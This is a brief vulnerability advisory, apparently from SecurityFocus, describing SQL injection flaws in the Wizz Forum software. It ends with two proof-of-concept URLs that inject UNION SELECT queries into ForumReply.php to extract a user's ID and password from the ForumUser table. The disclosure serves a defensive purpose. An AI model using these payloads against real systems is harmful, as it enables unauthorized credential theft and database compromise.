source: https://www.securityfocus.com/bid/15410/info
 
Wizz Forum is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,userid,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1

http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,password,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1